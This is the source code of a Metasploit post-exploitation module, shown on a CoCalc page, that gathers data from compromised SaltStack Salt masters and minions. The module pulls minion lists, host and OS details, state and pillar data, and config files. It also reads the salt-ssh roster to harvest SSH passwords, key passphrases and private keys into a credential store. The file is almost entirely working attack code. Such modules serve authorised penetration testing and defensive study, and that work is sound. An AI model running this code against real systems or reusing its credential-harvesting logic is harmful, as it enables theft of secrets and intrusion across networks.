CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/saltstack_salt.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'yaml'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::File
10
include Msf::Exploit::Local::Saltstack
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'SaltStack Salt Information Gatherer',
17
'Description' => %q{
18
This module gathers information from SaltStack Salt masters and minions.
19
Data gathered from minions: 1. salt minion config file
20
Data gathered from masters: 1. minion list (denied, pre, rejected, accepted)
21
2. minion hostname/ip/os (depending on module settings)
22
3. SLS
23
4. roster, any SSH keys are retrieved and saved to creds, SSH passwords printed
24
5. minion config files
25
6. pillar data
26
},
27
'Author' => [
28
'h00die',
29
'c2Vlcgo'
30
],
31
'SessionTypes' => %w[shell meterpreter],
32
'License' => MSF_LICENSE,
33
'Notes' => {
34
'Stability' => [CRASH_SAFE],
35
'SideEffects' => [IOC_IN_LOGS],
36
'Reliability' => []
37
}
38
)
39
)
40
register_options(
41
[
42
OptString.new('MINIONS', [true, 'Minions Target', '*']),
43
OptBool.new('GETHOSTNAME', [false, 'Gather Hostname from minions', true]),
44
OptBool.new('GETIP', [false, 'Gather IP from minions', true]),
45
OptBool.new('GETOS', [false, 'Gather OS from minions', true]),
46
OptInt.new('TIMEOUT', [true, 'Timeout for salt commands to run', 120])
47
]
48
)
49
end
50
51
def gather_pillars
52
print_status('Gathering pillar data')
53
begin
54
out = cmd_exec('salt', "'#{datastore['MINIONS']}' --output=yaml pillar.items", datastore['TIMEOUT'])
55
vprint_status(out)
56
results = YAML.safe_load(out, [Symbol]) # during testing we discovered at times Symbol needs to be loaded
57
store_path = store_loot('saltstack_pillar_data_gather', 'application/x-yaml', session, results.to_yaml, 'pillar_gather.yaml', 'SaltStack Salt Pillar Gather')
58
print_good("#{peer} - pillar data gathering successfully retrieved and saved to #{store_path}")
59
rescue Psych::SyntaxError
60
print_error('Unable to process pillar command output')
61
return
62
end
63
end
64
65
def gather_minion_data
66
print_status('Gathering data from minions (this can take some time)')
67
command = []
68
if datastore['GETHOSTNAME']
69
command << 'network.get_hostname'
70
end
71
if datastore['GETIP']
72
# command << 'network.ip_addrs'
73
command << 'network.interfaces'
74
end
75
if datastore['GETOS']
76
command << 'status.version' # seems to work on linux
77
command << 'system.get_system_info' # seems to work on windows, part of salt.modules.win_system
78
end
79
commas = ',' * (command.length - 1) # we need to provide empty arguments for each command
80
command = "salt '#{datastore['MINIONS']}' --output=yaml #{command.join(',')} #{commas}"
81
begin
82
out = cmd_exec(command, nil, datastore['TIMEOUT'])
83
if out == '' || out.nil?
84
print_error('No results returned. Try increasing the TIMEOUT or decreasing the minions being checked')
85
return
86
end
87
vprint_status(out)
88
results = YAML.safe_load(out, [Symbol]) # during testing we discovered at times Symbol needs to be loaded
89
store_path = store_loot('saltstack_minion_data_gather', 'application/x-yaml', session, results.to_yaml, 'minion_data_gather.yaml', 'SaltStack Salt Minion Data Gather')
90
print_good("#{peer} - minion data gathering successfully retrieved and saved to #{store_path}")
91
rescue Psych::SyntaxError
92
print_error('Unable to process gather command output')
93
return
94
end
95
return if results == false || results.nil?
96
return if results.include?('Salt request timed out.') || results.include?('Minion did not return.')
97
98
results.each_value do |result|
99
# at times the first line may be "Minions returned with non-zero exit code", so we want to skip that
100
next if result.is_a? String
101
102
host_info = {
103
name: result['network.get_hostname'],
104
os_flavor: result['status.version'],
105
comments: "SaltStack Salt minion to #{session.session_host}"
106
}
107
# mac os
108
if result.key?('system.get_system_info') &&
109
result['system.get_system_info'].include?('Traceback') &&
110
result.key?('status.version') &&
111
result['status.version'].include?('unsupported on the current operating system')
112
host_info[:os_name] = 'osx' # taken from lib/msf/core/post/osx/system
113
host_info[:os_flavor] = ''
114
# windows will throw a traceback error for status.version
115
elsif result.key?('status.version') &&
116
result['status.version'].include?('Traceback')
117
info = result['system.get_system_info']
118
host_info[:os_name] = info['os_name']
119
host_info[:os_flavor] = info['os_version']
120
host_info[:purpose] = info['os_type']
121
end
122
123
unless datastore['GETIP'] # if we dont get IP, can't make hosts
124
print_good("Found minion: #{host_info[:name]} - #{host_info[:os_flavor]}")
125
next
126
end
127
128
result['network.interfaces'].each do |name, interface|
129
next if name == 'lo'
130
next if interface['hwaddr'] == ':::::' # Windows Software Loopback Interface
131
next unless interface.key? 'inet' # skip if it doesn't have an inet, macos had lots of this
132
next if interface['inet'][0]['address'] == '127.0.0.1' # ignore localhost
133
134
host_info[:mac] = interface['hwaddr']
135
host_info[:host] = interface['inet'][0]['address'] # ignoring inet6
136
report_host(host_info)
137
print_good("Found minion: #{host_info[:name]} (#{host_info[:host]}) - #{host_info[:os_flavor]}")
138
end
139
end
140
end
141
142
def list_minions_printer
143
minions = list_minions
144
return if minions.nil?
145
146
tbl = Rex::Text::Table.new(
147
'Header' => 'Minions List',
148
'Indent' => 1,
149
'Columns' => ['Status', 'Minion Name']
150
)
151
152
minions.each do |minion|
153
tbl << ['Accepted', minion]
154
end
155
minions['minions_pre'].each do |minion|
156
tbl << ['Unaccepted', minion]
157
end
158
minions['minions_rejected'].each do |minion|
159
tbl << ['Rejected', minion]
160
end
161
minions['minions_denied'].each do |minion|
162
tbl << ['Denied', minion]
163
end
164
print_good(tbl.to_s)
165
end
166
167
def minion
168
print_status('Looking for salt minion config files')
169
# https://github.com/saltstack/salt/blob/b427688048fdbee106f910c22ebeb105eb30aa10/doc/ref/configuration/minion.rst#configuring-the-salt-minion
170
[
171
'/etc/salt/minion', # linux, osx
172
'C://salt//conf//minion',
173
'/usr/local/etc/salt/minion' # freebsd
174
].each do |config|
175
next unless file?(config)
176
177
minion = YAML.safe_load(read_file(config))
178
if minion['master']
179
print_good("Minion master: #{minion['master']}")
180
end
181
store_path = store_loot('saltstack_minion', 'application/x-yaml', session, minion.to_yaml, 'minion.yaml', 'SaltStack Salt Minion File')
182
print_good("#{peer} - minion file successfully retrieved and saved to #{store_path}")
183
break # no need to process more
184
end
185
end
186
187
def master
188
list_minions_printer
189
gather_minion_data if datastore['GETOS'] || datastore['GETHOSTNAME'] || datastore['GETIP']
190
191
# get sls files
192
unless command_exists?('salt')
193
print_error('salt not found on system')
194
return
195
end
196
print_status('Showing SLS')
197
output = cmd_exec('salt', "'#{datastore['MINIONS']}' state.show_sls '*'", datastore['TIMEOUT'])
198
store_path = store_loot('saltstack_sls', 'text/plain', session, output, 'sls.txt', 'SaltStack Salt Master SLS Output')
199
print_good("#{peer} - SLS output successfully retrieved and saved to #{store_path}")
200
201
# get roster
202
# https://github.com/saltstack/salt/blob/023528b3b1b108982989c4872c138d1796821752/doc/topics/ssh/roster.rst#salt-rosters
203
print_status('Loading roster')
204
priv_values = {}
205
['/etc/salt/roster'].each do |config|
206
next unless file?(config)
207
208
begin
209
minions = YAML.safe_load(read_file(config))
210
rescue Psych::SyntaxError
211
print_error("Unable to load #{config}")
212
next
213
end
214
store_path = store_loot('saltstack_roster', 'application/x-yaml', session, minion.to_yaml, 'roster.yaml', 'SaltStack Salt Roster File')
215
print_good("#{peer} - roster file successfully retrieved and saved to #{store_path}")
216
next if minions.nil?
217
218
minions.each do |name, minion|
219
host = minion['host'] # aka ip
220
user = minion['user']
221
port = minion['port'] || 22
222
passwd = minion['passwd']
223
# sudo = minion['sudo'] || false
224
priv = minion['priv'] || false
225
priv_pass = minion['priv_passwd'] || false
226
227
print_good("Found SSH minion: #{name} (#{host})")
228
# make a special print for encrypted ssh keys
229
unless priv_pass == false
230
print_good(" SSH key #{priv} password #{priv_pass}")
231
report_note(host: host,
232
proto: 'TCP',
233
port: port,
234
type: 'SSH Key Password',
235
data: "#{priv} => #{priv_pass}")
236
end
237
238
host_info = {
239
name: name,
240
comments: "SaltStack Salt ssh minion to #{session.session_host}",
241
host: host
242
}
243
report_host(host_info)
244
245
cred = {
246
address: host,
247
port: port,
248
protocol: 'tcp',
249
workspace_id: myworkspace_id,
250
origin_type: :service,
251
private_type: :password,
252
service_name: 'SSH',
253
module_fullname: fullname,
254
username: user,
255
status: Metasploit::Model::Login::Status::UNTRIED
256
}
257
if passwd
258
cred[:private_data] = passwd
259
create_credential_and_login(cred)
260
next
261
end
262
263
# handle ssh keys if it wasn't a password
264
cred[:private_type] = :ssh_key
265
if priv_values[priv]
266
cred[:private_data] = priv_values[priv]
267
create_credential_and_login(cred)
268
next
269
end
270
271
unless file?(priv)
272
print_error(" Unable to find salt-ssh priv key #{priv}")
273
next
274
end
275
input = read_file(priv)
276
store_path = store_loot('ssh_key', 'plain/txt', session, input, 'salt-ssh.rsa', 'SaltStack Salt SSH Private Key')
277
print_good(" #{priv} stored to #{store_path}")
278
priv_values[priv] = input
279
cred[:private_data] = input
280
create_credential_and_login(cred)
281
end
282
end
283
gather_pillars
284
end
285
286
def run
287
if session.platform == 'windows'
288
# the docs dont show that you can run as a master, nor was the master .bat included as of this writing
289
minion
290
end
291
minion if command_exists?('salt-minion')
292
master if command_exists?('salt-master')
293
end
294
295
end
296
297